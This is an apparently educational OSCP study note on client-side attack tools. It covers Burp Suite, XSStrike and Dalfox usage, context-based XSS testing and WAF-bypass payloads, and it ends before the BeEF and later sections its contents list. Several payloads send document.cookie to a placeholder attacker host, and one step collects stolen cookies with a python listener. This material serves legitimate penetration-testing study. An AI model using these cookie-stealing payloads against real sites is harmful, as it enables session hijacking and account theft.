Domain 3Exploit Dev & AV EvasionCORE

Client-Side Attack Tools Overview

Comprehensive overview of client-side attack tools including Burp Suite, XSStrike, Dalfox, BeEF, OWASP ZAP, and additional utilities with installation, usage, and OSCP exam tips.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#Burp-Suite#XSStrike#Dalfox#BeEF#OWASP-ZAP#Tools

Client-Side Attack Tools Overview

Domain: Client-Side Attacks (Chapter 08) | Difficulty: Core

This note provides an exhaustive reference for every tool used in client-side attacks. Master these tools to efficiently discover and exploit XSS, open redirects, and browser-based vulnerabilities during the OSCP exam.


Table of Contents

  1. Tool Comparison Matrix
  2. Burp Suite Deep Dive
  3. XSStrike Deep Dive
  4. Dalfox Deep Dive
  5. BeEF Deep Dive
  6. Additional Tools
  7. Tool Selection Guide
  8. OSCP Exam Quick Reference

1. Tool Comparison Matrix

Overview Table

Tool Type Primary Use Strengths Weaknesses Best For
Burp Suite Community Intercepting Proxy Full web app testing, manual XSS, request manipulation All-in-one suite, Repeater, Intruder, excellent request control No automated scanner (Community), manual-heavy OSCP #1 choice — manual XSS, parameter tampering, auth bypass
Burp Suite Pro Intercepting Proxy Automated + manual web app testing Active Scanner, advanced Intruder, reporting Paid license ($449/yr) Professional engagements, time-critical scans
XSStrike CLI XSS Scanner Automated XSS discovery AST-based analysis, WAF bypass, auto parameter discovery Single-purpose, can produce false positives Quick XSS sweeps, WAF-protected targets
Dalfox CLI XSS Scanner XSS parameter fuzzing + DOM XSS Modular, fast, DOM XSS detection, batch processing Newer tool, smaller community Bulk parameter testing, DOM XSS hunting
BeEF Browser Exploitation Framework Post-XSS browser exploitation Social engineering modules, browser info gathering, pivoting Requires existing XSS, noisy, easily detected Post-exploitation after XSS, browser pivoting
OWASP ZAP Intercepting Proxy Automated web app scanning Free, open source, active scanner, API testing Heavier UI, slower than Burp Free alternative to Burp Pro, automated scans
curl CLI HTTP Client Manual request crafting Precise control, scripting, no GUI overhead Manual only, no visualization Quick tests, API probing, cookie manipulation
Nmap Network Scanner Port/service discovery Reliable, NSE scripts, service detection Not for web vuln exploitation Recon, finding hidden web services
gobuster / ffuf Directory Fuzzer Hidden resource discovery Fast, flexible, wordlist-driven Blind to logic flaws Finding hidden pages, params, backup files
sqlmap SQL Injection Tool Automated SQLi exploitation Comprehensive, auto-detection, data extraction Single-purpose, noisy SQLi exploitation (not client-side but complementary)
nikto Web Server Scanner Server/config vulnerability scanning Known vuln database, config checks Outdated signatures, noisy Quick server config checks
whatweb Tech Detection Web technology fingerprinting Fast, identifies frameworks/CMS Surface-level only Initial recon, tech stack identification

When to Use Each Tool

Scenario Recommended Tool(s) Why
Manual XSS testing on a parameter Burp Suite (Repeater) Full control over request/response, easy iteration
Automated XSS sweep across many params XSStrike or Dalfox Fast, handles many parameters automatically
DOM XSS detection Dalfox or Burp DOM Inspector Purpose-built for client-side analysis
WAF-protected target with XSS XSStrike Built-in WAF detection and bypass strategies
Post-XSS browser exploitation BeEF Leverages XSS to control the browser
Full web app assessment (free) OWASP ZAP Free active scanner with good coverage
Quick HTTP request test curl Lightweight, scriptable, always available
Finding hidden web resources gobuster / ffuf Fast directory and parameter fuzzing
Initial recon of web target whatweb + nikto Quick tech stack and config overview
OSCP exam (primary workflow) Burp Suite + XSStrike Burp for manual, XSStrike for automation

2. Burp Suite Deep Dive

2.1 What is Burp Suite?

Burp Suite is the industry-standard intercepting proxy for web application security testing. It sits between your browser and the target web server, allowing you to inspect, modify, and replay every HTTP/S request and response.

Two Editions:

  • Community Edition (Free): Proxy, Repeater, Intruder (limited), Decoder, Comparer, Sequencer, DOM Inspector — no Active Scanner
  • Professional Edition ($449/yr): Everything in Community + Active Scanner, unlimited Intruder, reporting

OSCP Note: The Community Edition is fully sufficient for the OSCP exam. You do NOT need Burp Pro.

2.2 Installation

# Kali Linux (pre-installed)
burpsuite

# Windows - download from portswigger.net
# Run the JAR file:
java -jar burpsuite_community.jar

# Verify installation
burpsuite --version

2.3 Browser Configuration

Step 1: Open Burp Suite → Proxy → Options → Proxy Listeners

Step 2: Ensure a listener is running on 127.0.0.1:8080

Step 3: Configure your browser proxy:

# Firefox (recommended for OSCP)
Settings → Network Settings → Manual proxy configuration
HTTP Proxy: 127.0.0.1
Port: 8080
Check "Also use this proxy for HTTPS"

# Chrome
Settings → System → Open proxy settings → Manual proxy
# Or use SwitchyOmega extension for easy toggling

Step 4: Install Burp CA Certificate for HTTPS:

  1. Navigate to http://burp in your browser (proxy configured)
  2. Click “CA Certificate” to download
  3. Install the certificate in your browser’s trust store

OSCP Tip: Use Firefox with the FoxyProxy extension. It lets you toggle the proxy on/off with one click — essential when you need to browse without interception.

2.4 Key Features Overview

2.4.1 Proxy

The heart of Burp Suite. Intercepts all HTTP/S traffic between your browser and the target.

Key Functions:

  • Intercept On/Off: Toggle request interception
  • Match and Replace: Automatically modify requests/responses
  • Proxy History: Log of all intercepted traffic
  • Options: Configure listeners, upstream proxies, visibility filters

Essential Shortcuts:

Action Shortcut
Send to Repeater Ctrl + R
Send to Intruder Ctrl + I
Send to Scanner Ctrl + Shift + S
Send to Sequencer Ctrl + Shift + Q
Forward request Ctrl + Shift + F
Drop request Ctrl + Shift + D
Intercept toggle Ctrl + I (in Proxy tab)

Match and Replace Rules:

# Example: Change Host header automatically
Request:  host:old-target.com
Replace:  host:new-target.com

# Example: Remove a specific header
Request:  X-Custom-Header:.*
Replace:  (leave blank to remove)

2.4.2 Repeater

Manually modify and resend individual HTTP requests. The most used tool for OSCP XSS testing.

Workflow:

  1. Intercept a request in Proxy
  2. Right-click → Send to Repeater (Ctrl + R)
  3. Switch to Repeater tab
  4. Modify parameters, headers, or body
  5. Click “Send”
  6. Analyze the response

XSS Testing in Repeater:

GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0

# Response analysis:
# 1. Check if payload reflected in response
# 2. Check if payload is encoded/escaped
# 3. Check context (HTML body, attribute, JavaScript, URL)
# 4. Adjust payload based on context

Common XSS Payload Progression in Repeater:

Step 1:  <script>alert(1)</script>          → Test basic reflection
Step 2:  <img src=x onerror=alert(1)>       → Test event handlers
Step 3:  <svg/onload=alert(1)>              → Test SVG vectors
Step 4:  <img src=x onerror=alert(1) width=1> → Test with attributes
Step 5:  <ScRiPt>alert(1)</ScRiPt>          → Test case sensitivity
Step 6:  <script>alert(String.fromCharCode(49))</script> → Test encoding
Step 7:  <img src=x onerror=fetch('http://ATTACKER/cb?c='+document.cookie)> → Test exploitation

Repeater Tips:

  • Use Compare with (Ctrl + Shift + C) to diff responses
  • Use Engagement tools → Generate signature to find unique response markers
  • Right-click response → Engagement tools → Make comment to annotate findings
  • Use Extensions → Collaborator client to check for out-of-band interactions

2.4.3 Intruder

Automated attack tool for fuzzing, brute-forcing, and payload testing.

Four Attack Types:

Type Description Use Case Example
Sniper One payload position, fires payloads one at a time Testing single parameter XSS on q= parameter
Battering Ram Same payload in all positions simultaneously Testing same payload across multiple params Injecting XSS into q= and lang= together
Pitchfork Multiple positions, payloads fire in parallel from each list Testing correlated payloads Username + password lists
Cluster Bomb Multiple positions, all payload combinations Testing all combinations Username list × password list

Sniper Attack (Most Common for XSS):

1. Send request to Intruder (Ctrl + I)
2. Attack type: Sniper
3. Positions: Auto-detects or manually mark with §
   GET /search?q=§test§ HTTP/1.1
4. Payloads tab → Payload set: 1
5. Payload type: Simple list
6. Load payload file or enter payloads:
   <script>alert(1)</script>
   <img src=x onerror=alert(1)>
   <svg/onload=alert(1)>
   javascript:alert(1)
   '"><script>alert(1)</script>
7. Options → Grep - Match: Add patterns to look for:
   - alert(1)
   - <script>
   - Your custom marker
8. Start attack
9. Sort by: Length / Status / Grep - Match
10. Analyze results

Cluster Bomb for Multi-Parameter Testing:

GET /page?name=§admin§&role=§user§ HTTP/1.1

Payload Set 1 (name):    Payload Set 2 (role):
admin                     user
'                         '
"                         "
<script>alert(1)</script> <script>alert(1)</script>

Intruder Payload Processing Rules:

# Encode URL
Rule: URL-encode all

# Encode HTML entities
Rule: HTML-entity-encode all

# Add prefix/suffix
Rule: Prefix with: ' OR
Rule: Suffix with: --

# Base64 encode
Rule: Base64-encode

# Combine rules for advanced payloads
1. Prefix with: <script>
2. Base64-encode
3. Suffix with: </script>

Recommended Payload Lists:

# Kali built-in lists:
/usr/share/wordlists/wfuzz/
/usr/share/seclists/Fuzzing/
/usr/share/seclists/Web-Fuzzing/

# XSS-specific:
/usr/share/seclists/Fuzzing/XSS/
/usr/share/seclists/Web-Fuzzing/xss-fuzz.txt

# Create custom XSS payload list:
cat > /tmp/xss_payloads.txt << 'EOF'
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(document.cookie)>
<svg/onload=alert(1)>
<svg onload=alert(document.cookie)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details ontoggle=alert(1) open>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<iframe src=javascript:alert(1)>
<math><brute href="javascript:alert(1)">click
<meter onmouseover=alert(1)>
<script>alert(String.fromCharCode(88,83,83))</script>
<script>throw new Error('XSS')</script>
<script>new Function("aler"+"t")(1)</script>
<script>eval('ale'+'rt(1)')</script>
<script>setTimeout('ale'+'rt(1)')</script>
<script>setInterval('ale'+'rt(1)')</script>
<script>document.location='http://ATTACKER/?c='+document.cookie</script>
<script>new Image().src='http://ATTACKER/?c='+document.cookie</script>
<script>fetch('http://ATTACKER/?c='+document.cookie)</script>
<script>XMLHttpRequest().open('GET','http://ATTACKER/?c='+document.cookie)</script>
EOF

Intruder OSCP Tips:

  • Sort results by Length — XSS payloads that execute often change response length
  • Use Grep - Extract to pull out reflected values
  • Use Thread count: 5-10 for balanced speed vs. reliability
  • Enable Polling strategy: Cluster bomb for faster multi-param testing
  • Save Intruder configurations for reuse

2.4.4 Scanner (Pro Only)

Automated vulnerability scanner. Not available in Community Edition.

Features (Pro):

  • Active scanning with configurable intensity
  • Issue auditing and prioritization
  • Custom scan checks via Burp Extender
  • Report generation

OSCP Note: You won’t have the Scanner. Focus on manual testing with Repeater and Intruder. Use XSStrike as your automated XSS scanner.

2.4.5 Decoder

Decode and encode data in various formats.

Supported Encodings:

  • URL encoding / decoding
  • Base64 encoding / decoding
  • Hex encoding / decoding
  • HTML entity encoding / decoding
  • MD5, SHA-1, SHA-256 hashing
  • ROT13

Common Uses:

# Decode URL-encoded parameter
Input: %3Cscript%3Ealert(1)%3C%2Fscript%3E
Output: <script>alert(1)</script>

# Base64 encode payload
Input: <script>alert(1)</script>
Output: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# HTML entity encode
Input: <script>alert(1)</script>
Output: &lt;script&gt;alert(1)&lt;/script&gt;

Shortcut: Right-click any data in Burp → Send to Decoder

2.4.6 Comparer

Side-by-side comparison of two data items (requests, responses, or raw data).

Use Cases:

  • Compare responses with and without XSS payload
  • Compare requests before and after modification
  • Identify subtle differences in server responses
  • Compare two different endpoints’ responses

How to Use:

  1. Right-click request/response → Send to Comparer
  2. Or: Comparer tab → New comparison
  3. Paste or send two items to compare
  4. View diff highlighting

2.4.7 Sequencer

Analyze randomness of session tokens, CSRF tokens, and other security-critical values.

Use Cases:

  • Determine if session IDs are predictable
  • Analyze CSRF token entropy
  • Check password reset token randomness

Workflow:

  1. Send request containing token to Sequencer
  2. Configure collection settings (live capture or sample)
  3. Collect samples (minimum 200+ for meaningful analysis)
  4. Review statistical analysis results
  5. Check for predictability patterns

2.4.8 DOM Inspector

Analyze client-side JavaScript for DOM-based XSS vulnerabilities.

Features:

  • Source-to-sink data flow analysis
  • Identifies dangerous DOM APIs (innerHTML, document.write, eval, etc.)
  • Highlights potential XSS sinks
  • Shows data flow from user input to dangerous operations

Workflow:

  1. Navigate to the page in browser (with Burp proxy)
  2. Site map → Right-click page → DOM Analysis → Analyze
  3. Review the DOM inspector results
  4. Look for:
    • Sources: location.hash, location.search, document.URL, window.name
    • Sinks: innerHTML, document.write(), eval(), setTimeout() with string, window.location assignment
    • Tainted flows: Data flowing from source to sink without sanitization

Common DOM XSS Patterns:

// Vulnerable: URL fragment directly written to DOM
document.getElementById('output').innerHTML = location.hash;
// Exploit: #<img src=x onerror=alert(1)>

// Vulnerable: URL parameter via document.write
var q = new URLSearchParams(location.search).get('q');
document.write(q);
// Exploit: ?q=<script>alert(1)</script>

// Vulnerable: eval with user input
eval('var x = "' + location.hash.substring(1) + '"');
// Exploit: #";alert(1);//

// Vulnerable: Vulnerable: window.location manipulation
window.location = location.hash.substring(1);
// Exploit: #javascript:alert(1)

2.5 Complete XSS Workflow in Burp Suite

This is the definitive OSCP XSS workflow using Burp Suite:

┌─────────────────────────────────────────────────────────────┐
│                  OSCP XSS WORKFLOW                           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. RECON                                                    │
│     └─ Browse target with Burp proxy enabled                │
│     └─ Identify all input points (params, forms, headers)   │
│     └─ Map the application structure in Site map            │
│                                                             │
│  2. PARAMETER IDENTIFICATION                                 │
│     └─ Review Proxy History for all parameters              │
│     └─ Check URL params: ?q=test&id=1                       │
│     └─ Check POST body parameters                           │
│     └─ Check hidden form fields                             │
│     └─ Check headers (User-Agent, Referer, Cookie, etc.)    │
│                                                             │
│  3. INITIAL TESTING (Repeater)                               │
│     └─ Send suspicious request to Repeater                  │
│     └─ Test with marker: <TESTING123>                       │
│     └─ Verify reflection in response                        │
│     └─ Note the context of reflection                       │
│                                                             │
│  4. CONTEXT ANALYSIS                                         │
│     └─ HTML Body: <div><TESTING123></div>                    │
│     └─ HTML Attribute: <input value="<TESTING123>">         │
│     └─ JavaScript: var x = "<TESTING123>";                  │
│     └─ JavaScript: var x = '<TESTING123>';                  │
│     └─ URL: window.location = "<TESTING123>"                │
│     └─ CSS: <div style="color:<TESTING123>">                │
│                                                             │
│  5. PAYLOAD CRAFTING                                         │
│     └─ Based on context, craft appropriate payload          │
│     └─ Test in Repeater, iterate                            │
│     └─ Handle encoding/filtering                            │
│                                                             │
│  6. VERIFICATION                                             │
│     └─ Confirm alert() executes in browser                  │
│     └─ Confirm payload is not blocked                       │
│     └─ Document the finding                                 │
│                                                             │
│  7. EXPLOITATION                                             │
│     └─ Replace alert() with cookie stealer                  │
│     └─ Or use for session hijacking                         │
│     └─ Or use for credential theft                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

Detailed Step-by-Step Example:

Step 1: Browse to target.com/search?q=test
        Burp intercepts the request

Step 2: Send to Repeater (Ctrl + R)
        Forward the original request

Step 3: In Repeater, change q=test to q=<TESTING123>
        Send → Check response

Step 4: Response shows:
        <h1>Search results for: <TESTING123></h1>
        → Reflected in HTML body context

Step 5: Try XSS payload:
        q=<script>alert(1)</script>
        Send → Check response

Step 6: Response shows:
        <h1>Search results for: <script>alert(1)</script></h1>
        → Payload reflected unmodified!

Step 7: Open browser, navigate to:
        target.com/search?q=<script>alert(1)</script>
        → Alert box appears! XSS confirmed!

Step 8: For exploitation, use:
        q=<script>document.location='http://10.10.14.x:8080/?c='+document.cookie</script>

Step 9: On attacker machine, run:
        python3 -m http.server 8080
        → Receive victim's cookie in access log

2.6 Burp Suite Extensions

Collaborator Client (Built-in):

  • Out-of-band (OOB) interaction detection
  • Useful for blind XSS, blind SQLi, SSRF detection
  • Generates unique payloads with Burp Collaborator server

How to Use Collaborator:

1. Burp → Collaborator tab
2. Click "Copy payload" to get interaction URL
3. Inject into target:
   <img src="http://abc123.burpcollaborator.net">
4. Check Collaborator tab for interactions
5. Review interaction details (HTTP request, DNS query, etc.)

Installing Third-Party Extensions:

1. Extender → Options → BApp Store
2. Browse available extensions
3. Install useful extensions:
   - Autorize: Test for authorization bypass
   - Logger++: Enhanced request logging
   - Hackertarget Tools: Additional utilities
   - Param Miner: Discover hidden parameters

2.7 OSCP-Specific Burp Tips

Tip Description
Use Firefox Firefox + FoxyProxy is the most reliable combo for OSCP
Intercept Off by default Keep intercept OFF, turn ON only when needed
Save often Save Burp project regularly (Ctrl + S)
Use Match and Replace Auto-change Host headers when testing multiple targets
Proxy History is gold Review all captured traffic for hidden parameters
Repeater tabs Open multiple Repeater tabs for parallel testing
Intruder grep Always add grep patterns to filter results
Cookie handling Pay attention to session cookies in every request
View in browser After Repeater testing, verify in actual browser
Document everything Use Burp notes and external documentation
Don’t over-rely on automation OSCP rewards manual testing skills
Check all parameters Including hidden fields, headers, and cookies
Test POST and GET Both methods can have XSS
Check redirects 302/301 responses may contain reflected params
Error messages Error pages often reflect input differently

3. XSStrike Deep Dive

3.1 What is XSStrike?

XSStrike is an advanced, feature-rich Cross-Site Scripting (XSS) detection and exploitation tool built with Python. It uses Abstract Syntax Tree (AST) analysis to understand the structure of payloads and responses, enabling intelligent WAF detection and bypass.

Key Features:

  • Automatic parameter discovery
  • WAF detection and bypass
  • AST-based payload analysis
  • Wildcard mode for blind XSS
  • Role-based payload generation
  • Automatic context detection
  • Raw request file support

3.2 Installation

# Method 1: Git clone (recommended)
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip3 install -r requirements.txt

# Method 2: Pip install
pip3 install xsstrike

# Method 3: Kali Linux (pre-installed)
# Already available on Kali

# Verify installation
xsstrike --version
# or
python3 xsstrike.py --version

Dependencies:

pip3 install requests beautifulsoup4 colorama

3.3 Basic Usage

# Basic syntax
xsstrike [options]

# Most common usage patterns:

# 1. Test a single URL with parameter
python3 xsstrike.py -u "http://target.com/search?q=test"

# 2. Test with raw request file
python3 xsstrike.py -r request.txt

# 3. Test with custom payload
python3 xsstrike.py -u "http://target.com/search?q=test" --payload "alert(1)"

# 4. Test multiple parameters
python3 xsstrike.py -u "http://target.com/page?id=test&name=test"

# 5. Wildcard mode (replaces all params)
python3 xsstrike.py -u "http://target.com/page?id=test&name=test" -w

# 6. Skip WAF detection
python3 xsstrike.py -u "http://target.com/search?q=test" --skip-waf

# 7. Use custom user agent
python3 xsstrike.py -u "http://target.com/search?q=test" --random-agent

# 8. Follow redirects
python3 xsstrike.py -u "http://target.com/search?q=test" --follow-redirects

# 9. Set timeout
python3 xsstrike.py -u "http://target.com/search?q=test" --timeout 10

# 10. Verbose output
python3 xsstrike.py -u "http://target.com/search?q=test" -v

3.4 Complete Options Reference

python3 xsstrike.py --help

Positional arguments:
  -u, --url           Target URL with parameter(s) to test

Optional arguments:
  -r, --raw           Load raw HTTP request from file
  -w, --wildcard      Use wildcard mode (test all parameters)
  -l, --level         Set crawl level (default: 1)
  -c, --crawl         Enable crawling mode
  --payload           Use custom payload instead of auto-generation
  --skip-waf          Skip WAF detection
  --random-agent      Use random User-Agent
  --headers           Add custom headers (file path)
  --cookie            Add custom cookie
  --proxy             Use proxy (http://127.0.0.1:8080)
  --timeout           Set request timeout in seconds
  --delay             Delay between requests in seconds
  --thread            Number of threads (default: 1)
  --replay            Replay a stored request
  -v, --verbose       Verbose output
  --update            Update XSStrike
  --version           Show version information

Advanced options:
  --roles             Use role-based payloads
  --smart             Smart mode (adaptive testing)
  --fuzz              Fuzz mode (test all params with all payloads)
  --blind             Blind XSS mode
  --dom               DOM XSS detection mode

3.5 Feature Breakdown

3.5.1 Automatic Parameter Discovery

XSStrike automatically identifies testable parameters in URLs and forms:

# Auto-discovers 'q' parameter
python3 xsstrike.py -u "http://target.com/search?q=test"

# Auto-discovers 'id' and 'name' parameters
python3 xsstrike.py -u "http://target.com/page?id=1&name=user"

# Crawls and discovers parameters across pages
python3 xsstrike.py -u "http://target.com" -c --level 2

3.5.2 WAF Detection and Bypass

XSStrike detects WAFs and attempts bypass techniques:

# Automatic WAF detection
python3 xsstrike.py -u "http://target.com/search?q=test"

# Output example:
# [~] WAF Detection: Cloudflare detected
# [~] Attempting WAF bypass techniques...
# [~] Using polyglot payloads...
# [~] Using encoding bypass...
# [~] Using case variation...

# Common WAF bypass techniques used:
# 1. Case variation: <ScRiPt> instead of <script>
# 2. Encoding: URL encoding, HTML entities, Unicode
# 3. Polyglot payloads: Work in multiple contexts
# 4. Filter evasion: Broken tags, comment injection
# 5. Length variation: Adding padding characters

Common WAF Bypass Payloads:

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# Null byte injection
<script/\x00>alert(1)</script>

# Comment injection
<script>//%0Aalert(1)</script>

# Unicode encoding
\u003cscript\u003ealert(1)\u003c/script\u003e

# HTML entity encoding
&#60;script&#62;alert(1)&#60;/script&#62;

# Polyglot (works in HTML, JS, and attribute contexts)
javascript:/*--></title></style></textarea></script>"><script>alert(1)</script>

# Event handler bypass
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>

3.5.3 AST (Abstract Syntax Tree) Analysis

XSStrike uses AST to analyze payload structure and response behavior:

How AST Analysis Works:

1. XSStrike parses the payload into an AST
2. Sends the payload to the target
3. Receives and parses the response
4. Compares the AST of payload vs. reflected content
5. Determines:
   - Was the payload reflected?
   - Was it modified/encoded?
   - What context is it in?
   - What filters are applied?
6. Generates context-appropriate follow-up payloads

Example:
Input:  <script>alert(1)</script>
Response: &lt;script&gt;alert(1)&lt;/script&gt;
AST Analysis: HTML entity encoding detected on angle brackets
Next Payload: <svg/onload=alert(1)>  (no angle brackets needed in some contexts)

3.5.4 Wildcard Mode

Tests all parameters in a URL simultaneously:

# Tests both 'id' and 'name' parameters
python3 xsstrike.py -u "http://target.com/page?id=test&name=test" -w

# Output:
# [~] Testing parameter: id
# [~] Testing parameter: name
# [+] Vulnerable parameter found: name
#     Payload: <script>alert(1)</script>
#     Context: HTML Body

3.5.5 Raw Request Mode

Test using saved HTTP requests (from Burp Suite):

# Save request from Burp:
# Right-click request → Copy to clipboard → Save as request.txt

# request.txt content:
GET /search?q=test HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: session=abc123

# Test with XSStrike:
python3 xsstrike.py -r request.txt

3.5.6 Crawling Mode

Discover and test parameters across multiple pages:

# Crawl up to 2 levels deep
python3 xsstrike.py -u "http://target.com" -c --level 2

# Crawl with custom delay
python3 xsstrike.py -u "http://target.com" -c --level 1 --delay 2

3.6 XSStrike vs. Manual Testing

Aspect XSStrike Manual (Burp Repeater)
Speed Fast, automated Slow, iterative
Accuracy Good, but false positives possible High, full context awareness
WAF Bypass Automatic Manual, requires expertise
Learning Limited understanding Deep understanding of vulnerability
Flexibility Limited to built-in payloads Unlimited creativity
Documentation Auto-generated Manual notes required
OSCP Value Good for quick wins Essential for exam success

When to Use XSStrike:

  • Quick initial sweep of a target
  • Testing many parameters at once
  • WAF-protected targets
  • When you need to confirm a finding quickly
  • As a supplement to manual testing

When to Use Manual Testing:

  • Complex application logic
  • When XSStrike fails but you suspect XSS
  • When you need to understand the vulnerability deeply
  • When crafting exploitation payloads
  • During OSCP exam — always verify manually

3.7 Practical XSStrike Examples

# Example 1: Basic XSS test
python3 xsstrike.py -u "http://10.10.10.100/search?q=test"

# Example 2: Test with Burp proxy
python3 xsstrike.py -u "http://10.10.10.100/search?q=test" --proxy http://127.0.0.1:8080

# Example 3: Test POST request
python3 xsstrike.py -r /tmp/post_request.txt

# Example 4: Test with custom cookie
python3 xsstrike.py -u "http://10.10.10.100/profile?name=test" --cookie "session=abc123"

# Example 5: Blind XSS with callback
python3 xsstrike.py -u "http://10.10.10.100/search?q=test" --blind

# Example 6: Fuzz all parameters
python3 xsstrike.py -u "http://10.10.10.100/page?id=1&cat=2&lang=en" --fuzz

# Example 7: Smart mode with crawling
python3 xsstrike.py -u "http://10.10.10.100" -c --level 1 --smart

4. Dalfox Deep Dive

4.1 What is Dalfox?

Dalfox (short for “Dal Fox”) is a modern, high-performance XSS scanning tool written in Go. It features a modular architecture, DOM XSS detection, frequency analysis, and excellent batch processing capabilities.

Key Features:

  • Modular architecture with pluggable components
  • DOM XSS detection
  • Frequency analysis for parameter discovery
  • Batch processing from files
  • Raw HTTP request support
  • Multiple output formats
  • Fast execution (Go-based)
  • Active development and updates

4.2 Installation

# Method 1: Go install (recommended)
go install github.com/hahwul/dalfox/v2@latest

# Method 2: Download binary
# Visit: https://github.com/hahwul/dalfox/releases
# Download the appropriate binary for your OS

# Linux (amd64)
curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox_linux_amd64.tar.gz | tar xz
mv dalfox /usr/local/bin/

# Method 3: Kali Linux
apt install dalfox

# Method 4: Homebrew (macOS)
brew install dalfox

# Verify installation
dalfox version

4.3 Basic Usage

# Basic syntax
dalfox url [options]
dalfox pipe [options]
dalfox file [options]
dalfox raw [options]

# Most common usage patterns:

# 1. Test a single URL
dalfox url "http://target.com/search?q=test"

# 2. Test with parameter specification
dalfox url "http://target.com/search?q=test" -p "q"

# 3. Test from pipe (multiple URLs)
cat urls.txt | dalfox pipe

# 4. Test from file
dalfox file urls.txt

# 5. Test raw HTTP request
dalfox raw request.txt

# 6. Test with Burp proxy
dalfox url "http://target.com/search?q=test" -proxy "http://127.0.0.1:8080"

# 7. Enable DOM XSS detection
dalfox url "http://target.com/search?q=test" --dom

# 8. Use custom payload list
dalfox url "http://target.com/search?q=test" -pl /path/to/payloads.txt

# 9. Set output format
dalfox url "http://target.com/search?q=test" -oJ results.json
dalfox url "http://target.com/search?q=test" -oC results.csv

# 10. Verbose output
dalfox url "http://target.com/search?q=test" -v

4.4 Complete Options Reference

dalfox url --help

URL Options:
  -u, --url             Target URL
  -p, --param           Specific parameter(s) to test (comma-separated)
  -pm, --param-mode     Parameter mode: auto, get, post, all (default: auto)

Request Options:
  -proxy                HTTP proxy (http://127.0.0.1:8080)
  -H, --header          Custom header (can be repeated)
  -cookie               Custom cookie
  -method               HTTP method (GET, POST, etc.)
  -d, --data            POST data
  -timeout              Request timeout in seconds (default: 10)
  -rate                 Rate limit (requests per second)
  -retry                Number of retries on failure

Payload Options:
  -pl, --payload-list   Custom payload list file
  -pw, --payload-wildcard  Wildcard payload mode
  --skip-payload        Skip certain payload groups

Detection Options:
  --dom                 Enable DOM XSS detection
  --frequency           Enable frequency analysis
  --group               Group results by parameter
  --silent              Silent mode (only vulnerabilities)
  -v, --verbose         Verbose output
  -vv                   Extra verbose output

Output Options:
  -oJ, --output-json    Output results to JSON file
  -oC, --output-csv     Output results to CSV file
  -oT, --output-text    Output results to text file
  -oS, --output-silent  Silent output mode
  --pretty              Pretty print JSON output

Advanced Options:
  --crawler             Enable crawling
  --crawler-depth       Crawler depth (default: 1)
  --no-color            Disable colored output
  --no-error            Suppress error messages
  --update              Update dalfox

4.5 Feature Breakdown

4.5.1 Modular Architecture

Dalfox uses a modular design with pluggable components:

┌─────────────────────────────────────────────┐
│              Dalfox Architecture             │
├─────────────────────────────────────────────┤
│                                             │
│  Input Layer                                 │
│  ├── URL Input                               │
│  ├── Pipe Input                              │
│  ├── File Input                              │
│  └── Raw Request Input                       │
│                                             │
│  Processing Layer                            │
│  ├── Parameter Discovery                     │
│  ├── Payload Generation                      │
│  ├── Request Execution                       │
│  └── Response Analysis                       │
│                                             │
│  Detection Layer                             │
│  ├── Reflected XSS Detection                 │
│  ├── DOM XSS Detection                       │
│  ├── Frequency Analysis                      │
│  └── WAF Detection                           │
│                                             │
│  Output Layer                                │
│  ├── Console Output                          │
│  ├── JSON Export                             │
│  ├── CSV Export                              │
│  └── Text Export                             │
│                                             │
└─────────────────────────────────────────────┘

4.5.2 DOM XSS Detection

Dalfox can detect DOM-based XSS vulnerabilities:

# Enable DOM XSS detection
dalfox url "http://target.com/page?id=test" --dom

# Output example:
# [MODE] URL Mode
# [TARGET] http://target.com/page?id=test
# [PARAM] id
# [PAYLOAD] <script>alert(1)</script>
# [RESULT] DOM XSS Detected
#   Source: location.search
#   Sink: document.write()
#   Risk: High

How DOM Detection Works:

  1. Dalfox fetches the page source
  2. Analyzes JavaScript for dangerous sinks
  3. Tests if user input reaches those sinks
  4. Reports potential DOM XSS vulnerabilities

4.5.3 Frequency Analysis

Analyzes parameter frequency across requests to identify testable parameters:

# Enable frequency analysis
dalfox url "http://target.com" --frequency

# Output:
# [FREQUENCY] Parameter Analysis
#   q:        15 occurrences (high frequency)
#   id:       8 occurrences (medium frequency)
#   lang:     3 occurrences (low frequency)
#   csrf:     1 occurrence (skip)

4.5.4 Batch Processing

Process multiple URLs efficiently:

# From file
dalfox file targets.txt

# From pipe
cat targets.txt | dalfox pipe

# With output
cat targets.txt | dalfox pipe -oJ results.json

# targets.txt format:
http://target1.com/search?q=test
http://target2.com/page?id=test
http://target3.com/view?name=test

4.6 Dalfox vs. XSStrike

Feature Dalfox XSStrike
Language Go (fast) Python
DOM XSS Built-in detection Limited
WAF Bypass Basic Advanced (AST-based)
Batch Processing Excellent Limited
Output Formats JSON, CSV, Text Console only
Speed Very fast Moderate
Learning Curve Simple Moderate
Community Growing Established

When to Use Dalfox:

  • Fast scanning of many URLs
  • DOM XSS detection needed
  • Batch processing from files
  • When you need structured output (JSON/CSV)
  • Quick initial reconnaissance

When to Use XSStrike:

  • WAF-protected targets
  • Complex payload crafting needed
  • Deep analysis of single parameters
  • When AST-based analysis is beneficial

4.7 Practical Dalfox Examples

# Example 1: Basic scan
dalfox url "http://10.10.10.100/search?q=test"

# Example 2: Scan with DOM detection
dalfox url "http://10.10.10.100/page?id=test" --dom

# Example 3: Batch scan from file
dalfox file /tmp/targets.txt -oJ /tmp/results.json

# Example 4: Scan through Burp proxy
dalfox url "http://10.10.10.100/search?q=test" -proxy "http://127.0.0.1:8080"

# Example 5: Custom headers
dalfox url "http://10.10.10.100/api?data=test" -H "Authorization: Bearer token123"

# Example 6: POST request
dalfox url "http://10.10.10.100/search" -method POST -d "q=test"

# Example 7: Pipe mode with grep
curl -s "http://10.10.10.100/sitemap.xml" | grep -oP 'http://[^\s"]+' | dalfox pipe

